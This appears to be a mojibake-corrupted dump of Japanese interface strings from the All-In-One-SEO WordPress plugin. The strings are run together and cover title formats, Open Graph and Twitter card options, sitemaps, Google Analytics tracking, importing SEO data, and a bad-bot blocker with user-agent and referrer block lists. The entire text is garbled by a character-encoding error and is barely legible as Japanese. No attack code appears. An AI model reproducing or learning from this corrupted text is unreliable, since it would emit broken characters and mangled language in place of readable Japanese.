モードä¿å­˜ãƒ˜ãƒƒãƒ€ãƒ¼ã®ã‚¹ã‚­ãƒ£ãƒ³ã„ã¾ã™ãスキャンソーシャルメタ情報をスキャンサイトをスキャンã—ã¦ã€é‡è¤‡ã—ãŸã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ã‚¿ã‚°ã‚’探ã—ã¾ã—ょã†ã€‚更新を予約学校検索エンジンã§ã®è¡¨ç¤ºæ¤œç´¢æ™‚ã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマット: ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ç¢ºèª - ã“ã®ã‚¨ãƒ©ãƒ¼ãŒè¡¨ç¤ºã•れãŸã‚‰ã€ä¸€åº¦ WordPress をログアウトã—ã¦å†åº¦ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ãã ã•ã„。個別ã«é¸æŠžOG:Image ã‚½ãƒ¼ã‚¹ã‚’é¸æŠžã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®å†…容をよã説明ã™ã‚‹ã‚ªãƒ¼ãƒ—ãƒ³ã‚°ãƒ©ãƒ•ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚ã“ã®ãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã«ä½¿ç”¨ã™ã‚‹ Twitter ã‚«ãƒ¼ãƒ‰ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã€ãƒ‡ãƒ•ォルト設定を上書ãã—ã¾ã™ã€‚表示ã™ã‚‹ Twitter カードã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。サイトマップ内ã«è¡¨ç¤ºã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚%sメタデータをエクスãƒãƒ¼ãƒˆã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。Open Graph ã®ãƒ¡ã‚¿å€¤ã‚’設定ã™ã‚‹æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¾ã™ã€‚サイトマップ内ã«è¡¨ç¤ºã™ã‚‹ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã‚’é¸æŠžã—ã¾ã™ã€‚%s ã«é€ä¿¡ã—ã¾ã—ãŸã€‚サーãƒãƒ¼å„投稿タイプã®ãƒ‡ãƒ•ォルト NOFOLLOW ã®è¨­å®šã‚’ã—ã¾ã™ã€‚å„æŠ•ç¨¿ã‚¿ã‚¤ãƒ—ã®ãƒ‡ãƒ•ォルト NOINDEX ã®è¨­å®šã‚’ã—ã¾ã™ã€‚Google Analytics ã®è¨­å®š%sã®è¨­å®šã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆãƒ•ァイルカスタム投稿タイプã§ã‚«ãƒ©ãƒ ãƒ©ãƒ™ãƒ«ã‚’表示:記事㫠Facebook ã®è‘—者を表示 Facebook Publisher ã®è¨˜äº‹ã‚’表示動画をå«ã‚€æŠ•稿ã®ã¿ã‚’表示SEO ã®æœ€æ–°æƒ…報を表示Twitter 投稿者を表示ブロックã•れãŸãƒœãƒƒãƒˆã‹ã‚‰ã®æœ€æ–°ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ãƒ­ã‚°ã‚’表示ã—ã¾ã™ã€‚ 注:ã“れã¯ã€Web サーãƒãƒ¼/ .htaccess ãƒ¬ãƒ™ãƒ«ã§æ—¢ã«ãƒ–ロックã•れãŸãƒœãƒƒãƒˆã‚’追跡ã—ã¾ã›ã‚“。今ã™ãサインアップã—ã¦ã€ WordPress ã® SEO ã«ãŠã‘ã‚‹5ã¤ã®ãƒ’ントã®é›»å­æ›¸ç± ($39.00相当) を手ã«å…¥ã‚Œã¾ã—ょã†ã€‚サイトã®è¨€èªžã‚µã‚¤ãƒˆåサイトã®ã‚¿ã‚¤ãƒˆãƒ«ã‚µã‚¤ãƒˆ URLサイトマップã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã‚¹ãƒ©ãƒƒã‚°ã‚’空ã«ã—ãªã„ã§ãã ã•ã„。ソーシャルメディアソーシャルプロフィールリンクソーシャル設定ã„ãã¤ã‹ã®ãƒ—ラグインやテーマã¯ã€åŒæ§˜ã®ãƒ‡ãƒ¼ã‚¿ã‚’共有ã—ãªã„ãŸã‚ã€éžæ¨™æº–çš„ãªæ–¹æ³•ã§ãƒ‡ãƒ¼ã‚¿ã‚’æ ¼ç´ã—ã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã‚’インãƒãƒ¼ãƒˆã™ã‚‹ã“ã¨ãŒã§ããªã„å ´åˆã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«å¤‰æ›´ã•れã¾ã›ã‚“。確èªã™ã‚‹ãŸã‚ã«ã€ä»»æ„ã®äº’æ›æ€§ã®ã‚ã‚‹ SEO ã®ãƒ‡ãƒ¼ã‚¿ãŒè¡¨ç¤ºã•れã¾ã™ã€‚投稿ã¾ãŸã¯å›ºå®šãƒšãƒ¼ã‚¸ãŒã™ã§ã« %s ã§ã® SEO データをæŒã£ã¦ã„ã‚‹å ´åˆã€åˆ¥ã®ãƒ—ラグイン/テーマã‹ã‚‰ãƒ‡ãƒ¼ã‚¿ã‚’インãƒãƒ¼ãƒˆã—ã¾ã›ã‚“。歌何ã‹ãŒãŠã‹ã—ã„よã†ã§ã™ã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。申ã—訳ã‚りã¾ã›ã‚“ã€ãã®æ“作ã¯å‡ºæ¥ã¾ã›ã‚“ã€‚ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ã‚’é¸æŠžã—ã€åˆ†æžã‹å¤‰æ›ã‚’クリックã—ã¦ãã ã•ã„。画åƒã®é«˜ã•を指定画åƒã®å¹…を指定動画ã®é«˜ã•を指定動画ã®å¹…を指定スãƒãƒ¼ãƒ„スãƒãƒ¼ãƒ„リーグスãƒãƒ¼ãƒ„ãƒãƒ¼ãƒ å·žãƒ»éƒ½é“府県ã²ã©ã„振る舞ã„ã‚’ã™ã‚‹ãƒœãƒƒãƒˆã«ã‚ˆã£ã¦ã‚µã‚¤ãƒˆã®è¡¨ç¤ºé€Ÿåº¦ãŒè½ã¡ã‚‹ã“ã¨ã‚’防止ã—ã¾ã™ã€‚é€ä¿¡XML サイトマップを Google ã«é€ä¿¡ã™ã‚‹ç™»éŒ²è¦ç´„è¦ç´„ã®å¤§ãã„ç”»åƒã‚µãƒãƒ¼ãƒˆ%s をサãƒãƒ¼ãƒˆã‚µãƒãƒ¼ãƒˆãƒ•ォーラムシステム状æ³ãƒ†ãƒ¬ãƒ“番組タグタグã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ•ォーマット: タクソノミータクソノミータクソノミータイトル形å¼:ãƒãƒ¼ãƒ ãƒªãƒ¼ãƒ€ãƒ¼%s ã®ãƒ¡ã‚¤ãƒ³ã‚«ãƒ†ã‚´ãƒªãƒ¼ãƒ›ãƒ¼ãƒ ã®èª¬æ˜Žã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフã®èª¬æ˜Žã§ã™ã€‚ホームイメージã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフイメージã§ã™ã€‚ホームタイトルã¯ã€ã‚ãªãŸã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã®ã‚ªãƒ¼ãƒ—ングラフã®ã‚¿ã‚¤ãƒˆãƒ«ã§ã™ã€‚ã“ã®ãƒšãƒ¼ã‚¸ã®ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ション。記入ã™ã‚‹ã¨è‡ªå‹•生æˆãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションを上書ãã—ã¾ã™ã€‚サイトåã¯ã‚ãªãŸã®ã‚¦ã‚§ãƒ–サイトを識別ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れるåå‰ã§ã™ã€‚「存在ã—ãªã„ URL ã€ã®ã‚ˆã†ãªäººé–“ãŒèª­ã‚ã‚‹å½¢å¼ã® URL パスç¾åœ¨ã®%sç¾åœ¨ã®%s (ローカライズ済ã¿)今年%sã®èª¬æ˜Žä»¥ä¸‹ã®ãƒžã‚¯ãƒ­ãŒã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã™ã€‚:ページã®é »åº¦ã€‚カスタムフィールドã®åå‰%sã®åå‰å…ƒã® URL パス。例ãˆã° "/url-that-does-not-exist/"元㮠WordPress サイト%sã®å…ƒã‚¿ã‚¤ãƒˆãƒ«ãƒšãƒ¼ã‚¸ç•ªå·All-In-One-SEO プラグインを検出ã—ã¾ã—ãŸã€‚%1$s設定をインãƒãƒ¼ãƒˆ%2$sã—ã¾ã™ã‹ ?Yoast SEO プラグインを検出ã—ã¾ã—ãŸã€‚%3$s ã«%1$s設定をインãƒãƒ¼ãƒˆ%2$sã—ã¾ã™ã‹ ?ページã®å„ªå…ˆé †ä½ã€‚入力ã•ã‚ŒãŸæ¤œç´¢ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã“ã®%3$sã«é–¢é€£ä»˜ã‘られã¦ã„ã‚‹ %2$s タクソノミーã®ã‚¿ã‚¤ãƒˆãƒ«ãƒ†ãƒ¼ãƒž%sをサãƒãƒ¼ãƒˆã™ã‚‹æ–¹æ³•ã¯ãŸãã•ã‚“ã‚りã¾ã™ã€‚ç¾åœ¨ä»–ã«èª­ã¿è¾¼ã¾ã‚ŒãŸãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ã‚りã¾ã›ã‚“。%1$s æ–°ã—ã„利用å¯èƒ½ãªãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒã‚りã¾ã™ã€‚詳細ã¯ãƒ—ラグインページをå‚ç…§ã—ã¦ãã ã•ã„。ã“ã®ã‚ªãƒ¼ãƒ—ングラフメタã¯ã“ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をよã説明ã™ã‚‹ä¸€èˆ¬çš„ãªã‚»ã‚¯ã‚·ãƒ§ãƒ³åを追加ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ¼ãƒ—ングラフメタã¯ã“ã®ã‚³ãƒ³ãƒ†ãƒ³ãƒ„をよã説明ã™ã‚‹ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã®ãƒªã‚¹ãƒˆã‚’追加ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“れ㯠Meta Descriptions ã®ãƒ•ォーマットを制御ã—ã¾ã™ã€‚以下ã®ãƒžã‚¯ãƒ­ãŒã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã™:SEO 最新情報ã®ã‚¦ã‚£ã‚¸ã‚§ãƒƒãƒˆã‚’ダッシュボードã«è¡¨ç¤ºã™ã‚‹ã€‚Google Analytics ã® IP 匿å化ã®ãŸã‚ã®ã‚µãƒãƒ¼ãƒˆã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚Google Analytics ã®ãƒ‡ã‚£ã‚¹ãƒ—レイ広告主å‘ã‘ã®æ©Ÿèƒ½ã®ã‚µãƒãƒ¼ãƒˆã‚’有効ã«ã—ã¾ã™ã€‚Google Analytics ã®æ‹¡å¼µeコマースã®ã‚µãƒãƒ¼ãƒˆã‚’å¯èƒ½ã«ã—ã¾ã™ã€‚Google Analytics ã®æ‹¡å¼µãƒªãƒ³ã‚¯ã®ã‚¢ãƒˆãƒªãƒ“ューションã®ã‚µãƒãƒ¼ãƒˆã‚’有効ã«ã—ã¾ã™ã€‚ã“れã¯ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ã‚ªãƒ¼ãƒ—ングラフã®è¨˜è¿°ã§ã™ã€‚ã“れã¯ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ã‚ªãƒ¼ãƒ—ングラフタイトルã§ã™ã€‚ã“れã¯ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れる許å¯ã•れã¦ã„ãªã„リファラーã®ãƒªã‚¹ãƒˆã§ã™ã€‚ã“れã¯ã€ä¸æ­£ãªãƒœãƒƒãƒˆã‚’ブロックã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•れるã€è¨±å¯ã•れã¦ã„ãªã„ユーザエージェントã®ãƒªã‚¹ãƒˆã§ã™ã€‚SEO タイトルã€SEO キーワード〠SEO ディスクリプションã®å„カラムをã€ã©ã®ç”»é¢ã§è¡¨ç¤ºã™ã‚‹ã‹é¸æŠžã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã§ã¯ã€ã‚µã‚¤ãƒˆã®å…¨ä½“を通ã˜ã¦ãƒ¡ã‚¿ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã®ä½¿ç”¨ã‚’切り替ãˆã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€ã‚ªãƒ¼ãƒ—ングラフイメージã®ãŸã‚ã«ãƒ‡ãƒ•ォルトã§è¡¨ç¤ºã•れる画åƒã‚’é¸æŠžã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚å€‹ã€…ã®æŠ•ç¨¿ã§ã“れをオーãƒãƒ¼ãƒ©ã‚¤ãƒ‰ã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€ç”»åƒãŒä¸Šã‹ã‚‰è¦‹ã¤ã‹ã‚‰ãªã‹ã£ãŸå ´åˆã¯ã€ãƒ‡ãƒ•ォルトã®ç”»åƒã«ãƒ•ォールãƒãƒƒã‚¯ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€ãƒ‡ãƒ•ォルトã®è¨­å®šã‚’上書ãã™ã‚‹ã¨ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ãŸã‚ã«ä½¿ç”¨ã•ã‚Œã‚‹ã‚ªãƒ¼ãƒ—ãƒ³ã‚°ãƒ©ãƒ•ã‚¤ãƒ¡ãƒ¼ã‚¸ã‚’é¸æŠžã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€æŒ‡å®šã•れã¦ã„ãªã„ã‚ãªãŸã®ã‚¤ãƒ¡ãƒ¼ã‚¸ã®ãŸã‚ã®ãƒ‡ãƒ•ォルトã®é«˜ã•を設定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€æŒ‡å®šã•れã¦ã„ãªã„ã‚ãªãŸã®ã‚¤ãƒ¡ãƒ¼ã‚¸ã®ãŸã‚ã®ãƒ‡ãƒ•ォルトã®å¹…を設定ã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã«ä½¿ç”¨ã•れるグラフを開ãビデオã¸ã®ãƒªãƒ³ã‚¯ã‚’指定ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã®ãŸã‚ã®ã‚ªãƒ¼ãƒ—ングラフイメージã¨ã—ã¦ä½¿ç”¨ã™ã‚‹ç”»åƒã‚’アップロードã§ãã¾ã™ã€‚ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã‚‚ã—ãã¯æŠ•ç¨¿ã§ä½¿ç”¨ã™ã‚‹Twitterç”»åƒã‚’アップロードã—ã¾ã™ã€‚ã“ã®ã‚ªãƒ—ションã¯ã€ã‚ªãƒ¼ãƒ—ングラフイメージã®ãŸã‚ã«ä½¿ç”¨ã™ã‚‹ã“ã¨ãŒã§ãã€ãƒ‡ãƒ•ォルトã®ç”»åƒã‚’設定ã—ã¾ã™ã€‚ç”»åƒã‚’アップロードã—ãŸãƒ¡ãƒ‡ã‚£ã‚¢ãƒ©ã‚¤ãƒ–ラリã‹ã‚‰ç”»åƒã‚’é¸æŠžã™ã‚‹ã‹ã€ã“ã“ã«ç”»åƒã®URLを貼り付ã‘ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ã‚ªãƒ—ã‚·ãƒ§ãƒ³ã¯æŠ•ç¨¿ã®æŠœç²‹ã§ã¯ãªã本文ã‹ã‚‰ Open Graph ã®èª¬æ˜Žæ–‡ã‚’自動生æˆã—ã¾ã™ã€‚WooCommerce ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ–¹ã¯ã“ã®è¨­å®šã«ã¤ã„ã¦ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ã‚’ãŠèª­ã¿ãã ã•ã„。ã“ã®ã‚ªãƒ—ã‚·ãƒ§ãƒ³ã¯æŠ•ç¨¿ã®æŠœç²‹ã§ã¯ãªã本文ã‹ã‚‰ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションを自動生æˆã—ã¾ã™ã€‚WooCommerce ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ–¹ã¯ã“ã®è¨­å®šã«ã¤ã„ã¦ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ã‚’ãŠèª­ã¿ãã ã•ã„。ã“ã®ã‚ªãƒ—ションã§ã¯è‡ªå‹•çš„ã«ã‚ãªãŸã®å…¨ä½“ã® WordPress ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã®ãŸã‚ã® Canonical URL を生æˆã—ã¾ã™ã€‚ã“れã¯ã€Google ã«ã‚ˆã‚‹é‡è¤‡ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã®ãƒšãƒŠãƒ«ãƒ†ã‚£ã‚’防ãã®ã«å½¹ç«‹ã¡ã¾ã™ã€‚ã“ã®è¨­å®šã§ã¯ã€PHP ã®å®Ÿè¡Œæ™‚間を妥当ãªå€¤ã«ä¸Šã’ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®è¨­å®šã‚’使用ã™ã‚‹ã¨ã€PHP ã®ãƒ¡ãƒ¢ãƒªåˆ¶é™ã‚’é©åˆ‡ãªå€¤ã«å¼•ã上ã’ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚注: WordPress コアや他㮠WordPress プラグインã§ã‚‚メモリ制é™ã®å€¤ã‚’変更ã™ã‚‹å¯èƒ½æ€§ãŒã‚りã¾ã™ã€‚ã“ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—ã«ã¯ä»¥ä¸‹ãŒå«ã¾ã‚Œã¾ã™:ã“ã®ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—インデックスã«ã¯ä»¥ä¸‹ãŒå«ã¾ã‚Œã¾ã™:ã“ã®æ–‡å­—列ã¯ã€ãƒšãƒ¼ã‚¸ã•れãŸã‚¤ãƒ³ãƒ‡ãƒƒã‚¯ã‚¹ãƒšãƒ¼ã‚¸ã®ã‚¿ã‚¤ãƒˆãƒ«ï¼ˆãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ã‚„アーカイブページãªã©ï¼‰ã«è¿½åŠ  / å‰ç½®ã•れã¾ã™ã€‚ホームページã®ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションã«ãªã‚Šã¾ã™ã€‚ã“れã¯ä»–ã®è¨­å®šã«ã¯ä¾å­˜ã—ã¾ã›ã‚“。設定ã—ãªã„å ´åˆã€ãƒ‡ãƒ•ォルトã§ã¯ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションãŒå®Œå…¨ã«ç©ºã«ãªã‚Šã¾ã™ã€‚製å“を購入ã—ãŸéš›ã«å—ã‘å–ã£ãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚­ãƒ¼ã§ã™ã€‚自動アップグレードã«ä½¿ç”¨ã—ã¾ã™ã€‚SEO 対策ã¨ãªã‚‹ãƒ’ントタイトルタイトル形å¼:タイトル設定ブロックã•れãŸãƒœãƒƒãƒˆã‚’追跡è¦ç´ ã®å¯è¦–性を追跡:イベントを追跡:Facebook 㨠Twitter を追跡:メディアクエリーを追跡:複数ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’追跡ã™ã‚‹:アウトãƒã‚¦ãƒ³ãƒ‰ãƒ•ォームを追跡:外部ã¸ã®ãƒªãƒ³ã‚¯ã‚’追跡 : ページスクロールを追跡:ページå¯è¦–性を追跡:URL 変更を追跡:ドメインã®ãƒˆãƒ©ãƒƒã‚­ãƒ³ã‚° : 翻訳翻訳貢献者ã¨ç·¨é›†è€…TwitterTwitter カードタイプTwitter ドメインTwitter 設定Twitter サイトPRO VERSION ã¸æ›´æ–°ãƒšãƒ¼ã‚¸ã¸ã® URL 。相対 URL ã¾ãŸã¯çµ¶å¯¾ URL ã§å…¥åŠ›ã—ã¦ãã ã•ã„。ページã¸ã® URL。 ã“ã®ãƒ•ィールドã¯ã€æŒ‡å®šã•れãŸãƒ—ロトコルをæŒã¤çµ¶å¯¾ URL ã®ã¿ã‚’å—ã‘入れã¾ã™ã€‚URLファイルを削除ã§ãã¾ã›ã‚“ファイルを読ã¿è¾¼ã‚ã¾ã›ã‚“䏿­£ã‚¢ã‚¯ã‚»ã‚¹ ; ページをå†èª­ã¿è¾¼ã¿ã—ã¦ã¿ã¦ãã ã•ã„。大学投稿メタフィールドã®ä¿è­·ã‚’解除 : .htaccess ã‚’æ›´æ–°æ©Ÿèƒ½ã®æ›´æ–°è¨­å®šã‚’更新読ã¿å–り設定を更新ã™ã‚‹ã‚µã‚¤ãƒˆãƒžãƒƒãƒ—を更新サイトマップ設定を更新ã—ã¾ã—ãŸã€‚アップグレードプロ版ã¸ã‚¢ãƒƒãƒ—グレードアップグレード:優先サãƒãƒ¼ãƒˆã¨ãƒ—レミアム機能ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã«ã¯%sã«ã‚¢ãƒƒãƒ—グレードã—ã¦ãã ã•ã„。Pro ã¸ã‚¢ãƒƒãƒ—グレード画åƒã‚’アップロードAIOSEO ã® Title 㨠Description を使用ã™ã‚‹è¨˜äº‹ã®ã‚¿ã‚°ã«ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使用メタキーワードã¨ã—ã¦ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使ã†ï¼šè‡ªå‹•生æˆèª¬æ˜Žæ–‡ã«æœ¬æ–‡ã‚’使用:è‡ªå‹•ç”Ÿæˆ Open Graph èª¬æ˜Žæ–‡ã«æœ¬æ–‡ã‚’使用カスタムブロックリストを使用画åƒã«ã¯ã‚«ã‚¹ã‚¿ãƒ ãƒ•ィールドを利用ã™ã‚‹ç”»åƒãŒè¦‹ã¤ã‹ã‚‰ãªã„å ´åˆã¯ãƒ‡ãƒ•ォルトを使用記事ã®ã‚¿ã‚°ã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用キーワードを使用:å…ƒã®ã‚¿ã‚¤ãƒˆãƒ«ã‚’利用:è¨˜äº‹ã‚¿ã‚°ã§æŠ•ç¨¿ã‚¿ã‚°ã‚’ä½¿ç”¨Schema.org マークアップを使用固定フロントページを代用メタキーワードã¨ã—ã¦ã‚¿ã‚°ã‚’使ã†ç”Ÿæˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«ã‚«ãƒ†ã‚´ãƒªãƒ¼ã‚’使用ã—ã¾ã™ã€‚生æˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã‚’使用ã—ã¾ã™ã€‚ページ付ã‘ã•れãŸãƒšãƒ¼ã‚¸/投稿㫠nofollow を使用 :投稿者アーカイブ㫠noindex ã‚’é©ç”¨:カテゴリー㫠noindex を使用:日付別アーカイブ㫠noindex を使用:ã‚¿ã‚°ã‚’noindexã«ã™ã‚‹ï¼šã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã« noindex を使用:ページ付ã‘ã•れãŸãƒšãƒ¼ã‚¸/投稿㫠noindex を使用 : 404 ページ㫠noindex を使用:検索ページ㫠noindex を使用:出力ãƒãƒƒãƒ•ァリングを使用ã—ã¦ã€ã‚¿ã‚¤ãƒˆãƒ«ãŒç¢ºå®Ÿã«æ›¸ãæ›ãˆã‚‰ã‚Œã‚‹ã‚ˆã†ã«ã—ã¾ã™ã€‚テーマや他ã®ãƒ—ラグインã«ã‚ˆã‚‹ã‚¿ã‚¤ãƒˆãƒ«ã‚¿ã‚°ã®æ›¸ãæ›ãˆãŒç™ºç”Ÿã—ã¦ã—ã¾ã†å ´åˆã€ã“ã®è¨­å®šã‚’有効化ã—ã¦ãã ã•ã„。サイトマップã‹ã‚‰å›ºå®šãƒšãƒ¼ã‚¸ã‚’除外ã™ã‚‹å ´åˆã¯ã€å›ºå®šãƒšãƒ¼ã‚¸ã‚¹ãƒ©ãƒƒã‚°ã¾ãŸã¯å›ºå®šãƒšãƒ¼ã‚¸ ID をカンマã§åŒºåˆ‡ã£ã¦ä½¿ç”¨ã—ã¾ã™ã€‚生æˆã•れãŸè¨˜äº‹ã‚¿ã‚°ã«æŠ•稿タグを使用ã—ã¾ã™ã€‚以下ã®ãƒ‰ãƒ­ãƒƒãƒ—ダウンを使ã„ã€ã‚¤ãƒ³ãƒãƒ¼ãƒˆã™ã‚‹SEOデータã®å…ƒã¨ãªã‚‹ãƒ—ラグインã‹ãƒ†ãƒ¼ãƒžã‚’é¸æŠžã—ã¦ä¸‹ã•ã„。ルールã®è¿½åŠ ãƒ»å‰Šé™¤ã«ä»¥ä¸‹ã®ãƒ«ãƒ¼ãƒ«ãƒ“ルダーを使用ã—ã¾ã™ã€‚システム標準を使ã†ã“れらã®ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ã‚’使用ã—ã¦ã€%s を使用ã™ã‚‹ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。ã“れらã®ãƒã‚§ãƒƒã‚¯ãƒœãƒƒã‚¯ã‚¹ã‚’使用ã—ã¦ã€%sを使用ã™ã‚‹ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚’é¸æŠžã—ã¾ã™ã€‚複数ã¾ãŸã¯è¿½åŠ ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’è¿½è·¡ã™ã‚‹ã«ã¯ã“ã®ã‚ªãƒ—ションを有効ã«ã—ã¾ã™ã€‚テーマã§ä½¿ç”¨ã•れるタイトルをå–å¾—ã™ã‚‹ãŸã‚ã® wp_title を使用ã—ã¾ã™ã€‚ã“ã‚Œã¯æ¨™æº–ã§ã¯åˆ©ç”¨ã§ãã¾ã›ã‚“。ã“ã®ã‚ªãƒ—ションを使用ã™ã‚‹ã¨ã€ã‚ãªãŸã®ãƒ†ãƒ¼ãƒžã¯åŒæ§˜ã«ç‹¬è‡ªã®ã‚¿ã‚¤ãƒˆãƒ«SEOã‚’ã—よã†å¯èƒ½æ€§ãŒã‚ã‚‹ãŸã‚ã€é©åˆ‡ã«ã‚ãªãŸã®ã‚¿ã‚¤ãƒˆãƒ«ã®æ›¸å¼ã‚’設定ã—ã¾ã™ã€‚ユーザーエージェントユーザーエージェントブロックリストユーザーエージェントã«ä½•ã‹å…¥åŠ›ã—ã¦ãã ã•ã„ユーザー㫠`aiosp_manage_seo` 権é™ãŒã‚りã¾ã›ã‚“。ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãƒãƒ¼ã‚¸ãƒ§ãƒ³3ビデオ SEO モジュール動画サイトマップ動画サイトマップã®ã‚¹ã‚­ãƒ£ãƒ³ãŒæ­£å¸¸ã«å®Œäº†ã—ã¾ã—ãŸã€‚動画サイトマップã®ã‚¹ã‚­ãƒ£ãƒ³ãŒé€²è¡Œä¸­ã§ã™ã€‚ %sã§ã‚‚ã†ä¸€åº¦ç¢ºèªã—ã¦ãã ã•ã„。更新履歴を表示コミュニティー開発者ã¨ã—ã¦ã“ã“ã«è‡ªåˆ†ã®åå‰ã‚’載ã›ã¦ã¿ãŸã„ã¨ã„ã†æ–¹ã¯ã€%1$sã“ã“をクリック%2$sã—㦠GitHub ã§ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’é–‹ã„ã¦ãƒã‚°ã‚’報告ã—ãŸã‚Šã€æ–°æ©Ÿèƒ½ã‚’ææ¡ˆã—ãŸã‚Šã€å•題を見ã¤ã‘ã¦ã‚³ãƒ¼ãƒ‰ã‚’é€ã£ã¦ãã 